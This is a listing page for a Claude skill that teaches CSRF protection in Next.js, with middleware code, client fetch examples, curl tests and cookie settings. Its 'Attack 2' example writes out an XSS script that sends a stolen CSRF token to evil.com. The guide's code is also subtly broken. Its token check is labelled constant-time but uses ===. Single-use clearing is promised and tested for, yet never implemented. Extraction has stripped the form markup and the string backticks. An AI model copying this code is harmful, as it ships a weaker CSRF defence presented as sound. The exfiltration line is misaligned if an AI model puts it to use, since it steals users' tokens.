🎯

csrf-protection

🎯Skill

from harperaa/secure-claude-skills

VibeIndex|
What it does

Generates cryptographically secure CSRF tokens to protect web routes from cross-site request forgery attacks by validating request origins and preventing unauthorized form submissions.

πŸ“¦

Part of

harperaa/secure-claude-skills(12 items)

csrf-protection

Installation

npxRun with npx
npx secure-claude-skills init
npxRun with npx
npx secure-claude-skills init --sync subtree
npxRun with npx
npx secure-claude-skills update
npxRun with npx
npx secure-claude-skills init --sync submodule
git cloneClone repository
git clone https://github.com/harperaa/secure-claude-skills.git \

+ 2 more commands

πŸ“– Extracted from docs: harperaa/secure-claude-skills
7Installs
-
AddedFeb 4, 2026

Skill Details

SKILL.md

Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation".

Overview

# CSRF Protection - Preventing Cross-Site Request Forgery

What CSRF Attacks Are

The Attack Scenario

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.

This is Cross-Site Request Forgeryβ€”tricking your browser into making requests you didn't intend.

Real-World CSRF Attacks

Router DNS Hijacking (2008):

A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.

YouTube Actions (2012):

YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.

Why CSRF Is Still Common

According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?

  • It's invisible when it works (users don't know they made a request)
  • Easy to forget to implement (no obvious broken functionality)
  • Developers often rely solely on authentication without checking request origin

Our CSRF Architecture

Implementation Features

  1. HMAC-SHA256 Cryptographic Signing (industry standard)

- Provides cryptographic proof token was generated by our server

- Even if intercepted, attackers can't forge tokens without secret key

  1. Session-Bound Tokens

- Tokens can't be used across different user sessions

- Each user gets unique tokens

  1. Single-Use Tokens

- Token cleared after validation

- Window of opportunity is seconds, not hours

- If captured, useless after one request

  1. HTTP-Only Cookies

- JavaScript cannot access tokens

- Prevents XSS-based token theft

  1. SameSite=Strict

- Browser won't send cookie on cross-origin requests

- Additional layer of protection

Implementation Files

  • lib/csrf.ts - Cryptographic token generation
  • lib/withCsrf.ts - Middleware enforcing verification
  • app/api/csrf/route.ts - Token endpoint for clients

How to Use CSRF Protection

Step 1: Wrap Your Handler

For any POST/PUT/DELETE endpoint:

```typescript

import { NextRequest, NextResponse } from 'next/server';

import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {

// Your business logic here

// Token automatically verified by withCsrf

return NextResponse.json({ success: true });

}

// Apply CSRF protection

export const POST = withCsrf(handler);

export const config = {

runtime: 'nodejs', // Required for crypto operations

};

```

Step 2: Client-Side Token Fetching

Before making a protected request, fetch the CSRF token:

```typescript

// Fetch CSRF token

const response = await fetch('/api/csrf', {

credentials: 'include'

});

const { csrfToken } = await response.json();

// Use token in POST request

await fetch('/api/your-endpoint', {

method: 'POST',

headers: {

'Content-Type': 'application/json',

'X-CSRF-Token': csrfToken // Include token in header

},

credentials: 'include', // Important: send cookies

body: JSON.stringify(data)

});

```

Step 3: What Happens Automatically

When withCsrf() wraps your handler:

  1. Extracts CSRF token from X-CSRF-Token header
  2. Extracts CSRF cookie from request
  3. Verifies token matches cookie using HMAC
  4. Clears token after validation (single-use)
  5. If valid β†’ calls your handler
  6. If invalid β†’ returns HTTP 403 Forbidden

Complete Example: Protected Contact Form

```typescript

// app/api/contact/route.ts

import { NextRequest, NextResponse } from 'next/server';

import { withCsrf } from '@/lib/withCsrf';

import { withRateLimit } from '@/lib/withRateLimit';

import { validateRequest } from '@/lib/validateRequest';

import { contactFormSchema } from '@/lib/validation';

import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {

try {

const body = await request.json();

// Validate input

const validation = validateRequest(contactFormSchema, body);

if (!validation.success) {

return validation.response;

}

const { name, email, subject, message } = validation.data;

// Process contact form

await sendEmail({

to: 'admin@example.com',

from: email,

subject,

message

});

return NextResponse.json({ success: true });

} catch (error) {

return handleApiError(error, 'contact-form');

}

}

// Apply both rate limiting AND CSRF protection

export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {

runtime: 'nodejs',

};

```

Frontend Integration Example

```typescript

// components/ContactForm.tsx

'use client';

import { useState } from 'react';

export function ContactForm() {

const [formData, setFormData] = useState({

name: '',

email: '',

subject: '',

message: ''

});

async function handleSubmit(e: React.FormEvent) {

e.preventDefault();

try {

// 1. Fetch CSRF token

const csrfRes = await fetch('/api/csrf', {

credentials: 'include'

});

const { csrfToken } = await csrfRes.json();

// 2. Submit form with token

const response = await fetch('/api/contact', {

method: 'POST',

headers: {

'Content-Type': 'application/json',

'X-CSRF-Token': csrfToken

},

credentials: 'include',

body: JSON.stringify(formData)

});

if (response.ok) {

alert('Message sent successfully!');

setFormData({ name: '', email: '', subject: '', message: '' });

} else if (response.status === 403) {

alert('Security validation failed. Please refresh and try again.');

} else if (response.status === 429) {

alert('Too many requests. Please wait a moment.');

} else {

alert('Failed to send message. Please try again.');

}

} catch (error) {

console.error('Error:', error);

alert('An error occurred. Please try again.');

}

}

return (

type="text"

placeholder="Name"

value={formData.name}

onChange={(e) => setFormData({ ...formData, name: e.target.value })}

required

/>

type="email"

placeholder="Email"

value={formData.email}

onChange={(e) => setFormData({ ...formData, email: e.target.value })}

required

/>

type="text"

placeholder="Subject"

value={formData.subject}

onChange={(e) => setFormData({ ...formData, subject: e.target.value })}

required

/>

placeholder="Message"

value={formData.message}

onChange={(e) => setFormData({ ...formData, message: e.target.value })}

required

/>

);

}

```

Attack Scenarios & Protection

Attack 1: Malicious Website Submits Form

Attack:

```html

```

Protection:

  • No CSRF token in request β†’ withCsrf() returns 403
  • User's account safe

Attack 2: XSS Attempts to Read Token

Attack:

```javascript

// Attacker injects script via XSS

fetch('/api/csrf')

.then(r => r.json())

.then(data => {

// Send token to attacker

fetch('https://evil.com/steal', {

method: 'POST',

body: JSON.stringify({ token: data.csrfToken })

});

});

```

Protection:

  • Token is single-use
  • Even if stolen, expires after one request
  • HTTPOnly cookies prevent cookie theft
  • SameSite=Strict prevents cross-origin cookie sending

Attack 3: Man-in-the-Middle Captures Token

Attack:

Attacker intercepts network traffic and captures CSRF token.

Protection:

  • Single-use tokens become invalid after one use
  • HTTPS required in production (enforced by HSTS)
  • Short window of opportunity (seconds)

Technical Implementation Details

Token Generation (lib/csrf.ts)

```typescript

import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {

const secret = process.env.CSRF_SECRET;

if (!secret) {

throw new Error('CSRF_SECRET not configured');

}

// Generate random token

const token = randomBytes(32).toString('base64url');

// Create HMAC signature

const hmac = createHmac('sha256', secret)

.update(${token}:${sessionId})

.digest('base64url');

// Return token:hmac

return ${token}.${hmac};

}

export function verifyCsrfToken(

token: string,

sessionId: string

): boolean {

const secret = process.env.CSRF_SECRET;

if (!secret || !token) return false;

const [tokenPart, hmacPart] = token.split('.');

if (!tokenPart || !hmacPart) return false;

// Recreate HMAC

const expectedHmac = createHmac('sha256', secret)

.update(${tokenPart}:${sessionId})

.digest('base64url');

// Constant-time comparison to prevent timing attacks

return hmacPart === expectedHmac;

}

```

Middleware Wrapper (lib/withCsrf.ts)

```typescript

import { NextRequest, NextResponse } from 'next/server';

import { verifyCsrfToken } from './csrf';

export function withCsrf(

handler: (request: NextRequest) => Promise

) {

return async (request: NextRequest) => {

// Get token from header

const token = request.headers.get('X-CSRF-Token');

// Get session ID from cookie (simplified)

const sessionId = request.cookies.get('sessionId')?.value;

if (!token || !sessionId) {

return NextResponse.json(

{ error: 'CSRF token missing' },

{ status: 403 }

);

}

// Verify token

if (!verifyCsrfToken(token, sessionId)) {

return NextResponse.json(

{ error: 'CSRF token invalid' },

{ status: 403 }

);

}

// Token valid - call handler

return handler(request);

};

}

```

What CSRF Protection Prevents

βœ… Cross-site request forgery - Main protection

βœ… Session fixation attacks - Tokens bound to sessions

βœ… Cross-origin form submissions - SameSite=Strict

βœ… Hidden iframe attacks - Token validation required

βœ… One-click attacks - Token fetching step prevents

Common Mistakes to Avoid

❌ DON'T skip CSRF for POST/PUT/DELETE

```typescript

// BAD - No CSRF protection

export async function POST(request: NextRequest) {

// Vulnerable!

}

```

❌ DON'T put CSRF tokens in URL parameters

```typescript

// BAD - Token in URL (logged, bookmarked, shared)

fetch(/api/endpoint?csrf=${token})

```

❌ DON'T reuse tokens

```typescript

// BAD - Storing token for reuse

const savedToken = getCsrfToken();

// Later...

useSavedToken(savedToken); // May be expired/invalid

```

❌ DON'T forget credentials: 'include'

```typescript

// BAD - Cookies won't be sent

fetch('/api/endpoint', {

headers: { 'X-CSRF-Token': token }

// Missing: credentials: 'include'

});

```

βœ… DO fetch fresh token for each sensitive operation

βœ… DO use X-CSRF-Token header (not URL)

βœ… DO apply to all state-changing operations

βœ… DO combine with rate limiting for maximum protection

Testing CSRF Protection

Test 1: Valid Request

```bash

# Get CSRF token

TOKEN=$(curl -s http://localhost:3000/api/csrf \

-c cookies.txt | jq -r '.csrfToken')

# Use token

curl -X POST http://localhost:3000/api/example-protected \

-b cookies.txt \

-H "Content-Type: application/json" \

-H "X-CSRF-Token: $TOKEN" \

-d '{"title": "test"}'

# Expected: 200 OK

```

Test 2: Missing Token

```bash

curl -X POST http://localhost:3000/api/example-protected \

-H "Content-Type: application/json" \

-d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing

```

Test 3: Invalid Token

```bash

curl -X POST http://localhost:3000/api/example-protected \

-H "Content-Type: application/json" \

-H "X-CSRF-Token: fake-token-12345" \

-d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid

```

Test 4: Token Reuse (Should Fail)

```bash

# Get token

TOKEN=$(curl -s http://localhost:3000/api/csrf \

-c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)

curl -X POST http://localhost:3000/api/example-protected \

-b cookies.txt \

-H "X-CSRF-Token: $TOKEN" \

-d '{"title": "test"}'

# Try to reuse same token (should fail)

curl -X POST http://localhost:3000/api/example-protected \

-b cookies.txt \

-H "X-CSRF-Token: $TOKEN" \

-d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used

```

Secure Cookie Configuration

Cookie Security Settings

For any custom cookies in your application, always use these secure settings:

```typescript

response.cookies.set('cookie-name', value, {

httpOnly: true, // Prevent XSS access

sameSite: 'strict', // CSRF protection

secure: process.env.NODE_ENV === 'production', // HTTPS only in prod

maxAge: 3600, // Expiration (1 hour)

path: '/', // Cookie scope

});

```

Security Properties Explained:

  • httpOnly: true - JavaScript cannot access the cookie via document.cookie, preventing XSS theft
  • sameSite: 'strict' - Browser won't send cookie on cross-origin requests, blocking CSRF
  • secure: true - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
  • maxAge - Cookie expiration time in seconds (shorter = more secure)
  • path: '/' - Where cookie is valid (restrict if possible)

Common Cookie Mistakes to Avoid

❌ NEVER do this:

```typescript

// BAD - Missing security flags

response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)

response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)

response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)

response.cookies.set('session', sessionId, { httpOnly: true });

```

βœ… ALWAYS do this:

```typescript

// GOOD - All security flags

response.cookies.set('session', sessionId, {

httpOnly: true,

sameSite: 'strict',

secure: process.env.NODE_ENV === 'production',

maxAge: 3600, // 1 hour

path: '/'

});

```

Environment Configuration

Required Environment Variables

```bash

# .env.local

CSRF_SECRET=<32-byte-base64url-string>

SESSION_SECRET=<32-byte-base64url-string>

```

Generate Secrets

```bash

# Generate CSRF_SECRET

node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET

node -p "require('crypto').randomBytes(32).toString('base64url')"

```

⚠️ IMPORTANT:

  • Never commit secrets to version control
  • Use different secrets for dev/staging/production
  • Rotate secrets periodically (quarterly recommended)

References

  • OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
  • OWASP Top 10 2021 - A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
  • MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite

Next Steps

  • For rate limiting protection: Use rate-limiting skill
  • For input validation: Use input-validation skill
  • For complete API security: Combine CSRF + rate limiting + validation
  • For testing: Use security-testing skill

More from this repository10

🎯
secure-error-handling🎯Skill

Implements robust error handling and logging mechanisms to enhance security and traceability in Claude AI interactions.

🎯
rate-limiting🎯Skill

Enforces rate limiting to prevent excessive API calls and protect against potential abuse or overload of Claude interactions.

🎯
payment-security-clerk-billing-stripe🎯Skill

Implements secure payment processing and billing workflows using Clerk authentication and Stripe integration with enterprise-grade security controls.

🎯
security-headers🎯Skill

Automatically configures robust security headers to defend against web vulnerabilities like clickjacking, XSS, and MIME confusion attacks.

🎯
security-prompts🎯Skill

Generates battle-tested security prompt templates for implementing secure features, authentication, and threat modeling across various application contexts.

🎯
security-testing-verification🎯Skill

Automatically tests and verifies generated code against security best practices, identifying potential vulnerabilities and compliance gaps before deployment.

🎯
input-validation-xss-prevention🎯Skill

Validates and sanitizes user input to prevent cross-site scripting (XSS) attacks by implementing robust input filtering and escaping techniques.

🎯
dependency-supply-chain-security🎯Skill

Analyzes and recommends secure dependency management practices to prevent supply chain attacks and mitigate risks from potentially malicious or vulnerable third-party packages.

🎯
security-architecture-overview🎯Skill

Provides Claude with a comprehensive overview of secure system design principles, threat modeling techniques, and architectural security best practices for enterprise software development.

🎯
security-operations-deployment🎯Skill

Automates secure deployment workflows for security operations, integrating vulnerability scanning and compliance checks in cloud environments.